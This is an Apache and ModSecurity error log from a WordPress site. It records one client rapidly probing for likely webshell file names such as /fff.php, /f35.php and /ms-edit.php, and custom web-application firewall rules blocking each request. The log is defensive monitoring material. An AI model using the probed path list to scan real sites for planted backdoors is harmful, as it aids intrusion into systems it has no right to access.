[Wed Apr 08 21:28:02.958512 2026] [:error] [pid 7047:tid 7060] [client 51.107.217.48:24788] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adZX4uNh3oGO3pKiCzwuUgAAAYs"]
[Wed Apr 08 21:28:03.913629 2026] [:error] [pid 7047:tid 7067] [client 51.107.217.48:47408] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adZX4-Nh3oGO3pKiCzwuXgAAAZI"]
[Wed Apr 08 21:28:04.911540 2026] [:error] [pid 7189:tid 7201] [client 51.107.217.48:20551] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adZX5BaBqhBSu0L37lriDwAAAco"]
[Wed Apr 08 21:28:05.820390 2026] [:error] [pid 7189:tid 7214] [client 51.107.217.48:23222] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adZX5RaBqhBSu0L37lriEgAAAdc"]
[Wed Apr 08 21:28:07.158203 2026] [:error] [pid 7189:tid 7207] [client 51.107.217.48:47202] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "adZX5xaBqhBSu0L37lriFgAAAdA"]
[Wed Apr 08 21:28:08.069596 2026] [:error] [pid 7189:tid 7211] [client 51.107.217.48:20268] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adZX6BaBqhBSu0L37lriGgAAAdQ"]
[Wed Apr 08 21:28:09.199017 2026] [:error] [pid 7047:tid 7066] [client 51.107.217.48:17083] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adZX6eNh3oGO3pKiCzwufQAAAZE"]
[Wed Apr 08 21:28:10.301405 2026] [:error] [pid 7047:tid 7067] [client 51.107.217.48:24815] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adZX6uNh3oGO3pKiCzwuigAAAZI"]
[Wed Apr 08 21:28:11.484948 2026] [:error] [pid 64066:tid 64087] [client 51.107.217.48:23183] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adZX61R3WucJgr2vZGZHmAAAAVI"]
[Wed Apr 08 21:28:14.208569 2026] [:error] [pid 7047:tid 7061] [client 51.107.217.48:47211] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "adZX7uNh3oGO3pKiCzwuqwAAAYw"]
[Wed Apr 08 21:28:15.197040 2026] [:error] [pid 7189:tid 7196] [client 51.107.217.48:61492] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "adZX7xaBqhBSu0L37lriLwAAAcU"]
[Wed Apr 08 21:28:16.361886 2026] [:error] [pid 7047:tid 7072] [client 51.107.217.48:14037] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "adZX8ONh3oGO3pKiCzwuvAAAAZc"]
[Wed Apr 08 21:28:17.179519 2026] [:error] [pid 7047:tid 7073] [client 51.107.217.48:47381] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "adZX8eNh3oGO3pKiCzwuwgAAAZg"]
[Wed Apr 08 21:28:18.327344 2026] [:error] [pid 7189:tid 7197] [client 51.107.217.48:17056] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "adZX8haBqhBSu0L37lriPAAAAcY"]
[Wed Apr 08 21:28:19.966556 2026] [:error] [pid 7189:tid 7196] [client 51.107.217.48:61557] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "adZX8xaBqhBSu0L37lriPwAAAcU"]
[Wed Apr 08 21:28:21.574455 2026] [:error] [pid 12453:tid 12465] [client 51.107.217.48:47397] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "adZX9RjtW7S6XsLPvrQ-5AAAAIo"]
[Wed Apr 08 21:28:22.321839 2026] [:error] [pid 12453:tid 12468] [client 51.107.217.48:20353] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "adZX9hjtW7S6XsLPvrQ-6wAAAI0"]
[Wed Apr 08 21:28:24.366533 2026] [:error] [pid 64066:tid 64092] [client 51.107.217.48:20253] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adZX-FR3WucJgr2vZGZHrgAAAVc"]
[Wed Apr 08 21:28:25.135116 2026] [:error] [pid 12453:tid 12463] [client 51.107.217.48:20603] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adZX-RjtW7S6XsLPvrQ-9gAAAIg"]
[Wed Apr 08 21:28:26.161980 2026] [:error] [pid 12453:tid 12467] [client 51.107.217.48:20586] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adZX-hjtW7S6XsLPvrQ--wAAAIw"]
[Wed Apr 08 21:28:27.503495 2026] [:error] [pid 12453:tid 12461] [client 51.107.217.48:47226] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "adZX-xjtW7S6XsLPvrQ_BAAAAIY"]
[Wed Apr 08 21:28:29.246902 2026] [:error] [pid 64066:tid 64086] [client 51.107.217.48:47365] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "adZX_VR3WucJgr2vZGZHtwAAAVE"]
[Wed Apr 08 21:28:29.927893 2026] [:error] [pid 64066:tid 64088] [client 51.107.217.48:24776] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "adZX_VR3WucJgr2vZGZHvQAAAVM"]
[Wed Apr 08 21:28:30.698250 2026] [:error] [pid 12453:tid 12475] [client 51.107.217.48:47410] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "adZX_hjtW7S6XsLPvrQ_FQAAAJQ"]
[Wed Apr 08 21:28:31.497556 2026] [:error] [pid 7189:tid 7204] [client 51.107.217.48:20285] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "adZX_xaBqhBSu0L37lriRgAAAc0"]
[Wed Apr 08 21:28:32.597764 2026] [:error] [pid 64066:tid 64072] [client 51.107.217.48:17032] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adZYAFR3WucJgr2vZGZHvwAAAUM"]
[Wed Apr 08 21:28:33.627773 2026] [:error] [pid 7189:tid 7214] [client 51.107.217.48:20249] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adZYARaBqhBSu0L37lriSwAAAdc"]
[Wed Apr 08 21:28:34.330856 2026] [:error] [pid 12453:tid 12477] [client 51.107.217.48:61565] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adZYAhjtW7S6XsLPvrQ_HwAAAJY"]
[Wed Apr 08 21:28:35.552492 2026] [:error] [pid 12385:tid 12395] [client 51.107.217.48:24828] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "adZYAyAjtvRQEkLosq2i5wAAAAY"]
[Wed Apr 08 21:28:38.004788 2026] [:error] [pid 12453:tid 12470] [client 51.107.217.48:24770] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "adZYBhjtW7S6XsLPvrQ_JwAAAI8"]
[Wed Apr 08 21:28:40.355113 2026] [:error] [pid 64066:tid 64082] [client 51.107.217.48:61498] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "adZYCFR3WucJgr2vZGZHygAAAU0"]
[Wed Apr 08 21:28:43.586464 2026] [:error] [pid 12490:tid 12503] [client 51.107.217.48:47176] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "adZYC21Fea4F4fbumr0JYAAAAMs"]
[Wed Apr 08 21:28:44.761023 2026] [:error] [pid 12386:tid 12428] [client 51.107.217.48:20589] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "adZYDBLhhLtqHi2gK7UeiQAAAQw"]
[Wed Apr 08 21:28:45.901507 2026] [:error] [pid 7047:tid 7053] [client 51.107.217.48:61491] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "adZYDeNh3oGO3pKiCzwvZAAAAYQ"]
[Wed Apr 08 21:29:16.582468 2026] [autoindex:error] [pid 12386:tid 12437] [client 51.107.217.48:14067] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 08 21:29:21.080760 2026] [autoindex:error] [pid 12386:tid 12439] [client 51.107.217.48:14067] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 08 21:29:43.113576 2026] [:error] [pid 12386:tid 12436] [client 51.107.217.48:14067] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "adZYRxLhhLtqHi2gK7Ue0AAAARQ"]
[Wed Apr 08 21:29:43.764193 2026] [:error] [pid 12453:tid 12460] [client 51.107.217.48:17052] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "adZYRxjtW7S6XsLPvrQ_2gAAAIU"]
[Wed Apr 08 21:29:45.154853 2026] [:error] [pid 12490:tid 12507] [client 51.107.217.48:20566] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "adZYSW1Fea4F4fbumr0JmgAAAM8"]
[Wed Apr 08 21:29:45.807490 2026] [:error] [pid 7189:tid 7213] [client 51.107.217.48:20577] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "adZYSRaBqhBSu0L37lrihQAAAdY"]
[Wed Apr 08 21:29:46.447468 2026] [:error] [pid 7047:tid 7072] [client 51.107.217.48:17045] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "adZYSuNh3oGO3pKiCzwwzAAAAZc"]
[Wed Apr 08 21:29:47.150252 2026] [:error] [pid 7047:tid 7067] [client 51.107.217.48:47230] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "adZYS-Nh3oGO3pKiCzww0AAAAZI"]
[Wed Apr 08 21:29:47.896813 2026] [:error] [pid 7047:tid 7060] [client 51.107.217.48:47190] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "adZYS-Nh3oGO3pKiCzww1gAAAYs"]
[Wed Apr 08 21:29:48.599916 2026] [:error] [pid 7047:tid 7072] [client 51.107.217.48:24790] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "adZYTONh3oGO3pKiCzww2gAAAZc"]
[Wed Apr 08 21:29:49.325167 2026] [:error] [pid 7189:tid 7191] [client 51.107.217.48:61466] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "adZYTRaBqhBSu0L37lriiQAAAcA"]
[Wed Apr 08 21:29:49.972877 2026] [:error] [pid 7047:tid 7050] [client 51.107.217.48:17066] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "adZYTeNh3oGO3pKiCzww5wAAAYE"]
[Wed Apr 08 21:29:51.136916 2026] [:error] [pid 7047:tid 7056] [client 51.107.217.48:61530] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "adZYT-Nh3oGO3pKiCzww9AAAAYc"]
[Wed Apr 08 21:29:51.787513 2026] [:error] [pid 7047:tid 7072] [client 51.107.217.48:20237] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1.php"] [unique_id "adZYT-Nh3oGO3pKiCzww_AAAAZc"]
[Wed Apr 08 21:29:52.640488 2026] [:error] [pid 7047:tid 7060] [client 51.107.217.48:23191] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adZYUONh3oGO3pKiCzwxBQAAAYs"]
[Wed Apr 08 21:29:53.424279 2026] [:error] [pid 7047:tid 7056] [client 51.107.217.48:13984] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adZYUeNh3oGO3pKiCzwxEAAAAYc"]
[Wed Apr 08 21:29:54.196632 2026] [:error] [pid 7189:tid 7200] [client 51.107.217.48:47414] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adZYUhaBqhBSu0L37lrilgAAAck"]
[Wed Apr 08 21:29:55.089539 2026] [:error] [pid 7047:tid 7065] [client 51.107.217.48:47223] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update/f35.php"] [unique_id "adZYU-Nh3oGO3pKiCzwxFwAAAZA"]
[Wed Apr 08 21:29:55.991292 2026] [:error] [pid 7047:tid 7057] [client 51.107.217.48:23197] [client 51.107.217.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adZYU-Nh3oGO3pKiCzwxHAAAAYg"]
[Wed Apr 08 21:29:56.600037 2026] [:error] [pid 64066:tid 64072] [client 51.107.217.48:17036] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "adZYVFR3WucJgr2vZGZIXQAAAUM"]
[Wed Apr 08 21:29:57.333515 2026] [:error] [pid 64066:tid 64089] [client 51.107.217.48:47080] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "adZYVVR3WucJgr2vZGZIYQAAAVQ"]
[Wed Apr 08 21:29:58.373550 2026] [:error] [pid 35642:tid 35667] [client 51.107.217.48:61517] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "adZYVg-CqryxdEs5DN9hhgAAAFc"]
